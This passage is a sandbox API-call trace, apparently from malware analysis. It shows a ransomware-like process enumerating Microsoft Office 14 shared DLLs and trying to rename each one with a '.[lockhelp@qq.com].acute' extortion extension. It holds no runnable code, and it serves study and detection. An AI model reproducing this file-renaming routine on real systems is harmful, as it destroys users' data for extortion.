"c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.254] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.254] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.254] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0273.254] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=3050912) returned 1 [0273.254] CloseHandle (hObject=0x30c) returned 1 [0273.254] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll")) returned 0x20 [0273.254] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0273.254] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll")) returned 0 [0273.254] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.254] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewss.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0273.255] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=318368) returned 1 [0273.255] CloseHandle (hObject=0x30c) returned 1 [0273.255] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewss.dll")) returned 0x20 [0273.255] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewss.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.255] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewss.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.255] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.256] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acexbe.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.256] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=502168) returned 1 [0273.256] CloseHandle (hObject=0x368) returned 1 [0273.256] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acexbe.dll")) returned 0x20 [0273.256] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acexbe.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.256] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acexbe.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.256] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.256] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\atlconv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.257] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=385368) returned 1 [0273.257] CloseHandle (hObject=0x368) returned 1 [0273.257] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\atlconv.dll")) returned 0x20 [0273.257] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\atlconv.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.257] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\atlconv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.257] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.258] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.258] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=5072816) returned 1 [0273.258] CloseHandle (hObject=0x368) returned 1 [0273.258] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll")) returned 0x20 [0273.258] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0273.258] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll")) returned 0 [0273.258] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.259] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.259] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=1784192) returned 1 [0273.259] CloseHandle (hObject=0x368) returned 1 [0273.259] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll")) returned 0x20 [0273.259] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0273.259] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll")) returned 0 [0273.259] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.259] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.260] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=4297568) returned 1 [0273.260] CloseHandle (hObject=0x368) returned 1 [0273.260] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf")) returned 0x20 [0273.260] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0273.260] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf")) returned 0 [0273.260] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.260] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\expsrv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.260] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=518984) returned 1 [0273.260] CloseHandle (hObject=0x368) returned 1 [0273.260] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\expsrv.dll")) returned 0x20 [0273.260] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\expsrv.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.260] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\expsrv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.260] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.260] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_pdf.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.261] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=138616) returned 1 [0273.261] CloseHandle (hObject=0x368) returned 1 [0273.261] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_pdf.dll")) returned 0x20 [0273.261] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_pdf.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.261] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_pdf.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.262] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.262] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_xps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.262] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=71032) returned 1 [0273.262] CloseHandle (hObject=0x368) returned 1 [0273.262] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_xps.dll")) returned 0x20 [0273.262] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_xps.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.262] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_xps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.263] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.263] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\fltldr.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.264] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=157024) returned 1 [0273.264] CloseHandle (hObject=0x368) returned 1 [0273.264] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\fltldr.exe")) returned 0x20 [0273.264] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\fltldr.exe.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.264] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\fltldr.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.264] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.264] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.265] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=4289376) returned 1 [0273.265] CloseHandle (hObject=0x368) returned 1 [0273.265] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll")) returned 0x20 [0273.265] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0273.265] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll")) returned 0 [0273.265] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.265] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\liclua.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.266] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=204168) returned 1 [0273.266] CloseHandle (hObject=0x368) returned 1 [0273.266] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\liclua.exe")) returned 0x20 [0273.266] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\liclua.exe.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.266] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\liclua.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.266] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.266] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.267] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=25417600) returned 1 [0273.267] CloseHandle (hObject=0x368) returned 1 [0273.267] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll")) returned 0x20 [0273.267] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0273.267] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll")) returned 0 [0273.267] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.267] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoicons.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.576] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=473952) returned 1 [0273.576] CloseHandle (hObject=0x368) returned 1 [0273.576] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoicons.exe")) returned 0x20 [0273.576] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoicons.exe.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.576] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoicons.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.576] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.576] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\odbcmon.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.577] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=30056) returned 1 [0273.577] CloseHandle (hObject=0x368) returned 1 [0273.577] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\odbcmon.dll")) returned 0x20 [0273.577] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\odbcmon.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff 